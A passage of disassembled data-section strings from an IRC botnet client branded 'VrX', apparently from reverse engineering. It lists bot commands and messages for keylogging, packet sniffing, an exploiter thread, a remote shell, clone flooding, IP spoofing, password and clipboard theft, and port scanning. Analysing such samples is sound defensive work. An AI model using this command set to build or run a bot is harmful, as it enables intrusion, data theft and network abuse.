'c_m',0 ; DATA XREF: sub_401ACD+483Co aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o align 4 aM: ; DATA XREF: sub_401ACD+47E0o ; ___:004387C8o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo align 4 aA: ; DATA XREF: sub_401ACD+4784o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo ; sub_409909+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o ; sub_401ACD+443Do ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao ; sub_401ACD+41EAo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo aV: ; DATA XREF: sub_401ACD+3FE4o ; ___:004387BCo ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o ; sub_401ACD+453Fo align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o align 10h aO: ; DATA XREF: sub_401ACD+3E74o ; ___:00438AECo unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do ; sub_401ACD+583Ao ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o align 4 aJ: ; DATA XREF: sub_401ACD+3D32o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D04o ; ___:004387C4o ... unicode 0, <n>,0 unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do align 10h aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o align 10h aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AB7o ; sub_401ACD+3AF2o dd 0 dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3A7Co dd 1 dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A41o ; sub_401ACD+3B62o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo align 10h aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o ; sub_401ACD+3991o ... align 10h aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o ; sub_401ACD+3CEDo align 4 dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+369Ao dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo ; sub_401ACD+3712o ... dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o ; sub_40AAAC+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o ; sub_401ACD+3520o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o ; sub_401ACD+3D49o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o ; sub_401ACD+34F4o ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o ; sub_401ACD+3D1Bo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o align 10h aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o ; sub_401ACD+47C9o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo align 4 dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32A4o dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao ; sub_401ACD+385Co ... dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo ; sub_401ACD+3275o ... dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo ; sub_401ACD+4756o unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o align 10h aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o align 4 unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o ; sub_401ACD+3F71o unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 10h unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 4 dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2D8Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o align 4 unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o ; sub_401ACD:loc_409570o ... align 4 unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo ; sub_401ACD+78C1o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo align 4 unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 4 unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+2917o dd 65726874h, 2E736461h, 0 dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2815o dd 2E676Fh unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+2658o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o align 4 unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+2456o dd 2Dh unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo ; sub_40BD91+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o ; sub_40BD91+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o ; sub_401ACD+5B20o align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o ; sub_401ACD+5B19o align 4 dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1BC8o aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o align 4 aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co align 10h aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o ; sub_401ACD+1B71o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o ; sub_401ACD+3C81o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo align 10h unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o dword_42C550 dd 234032Dh, 69676F6Ch, 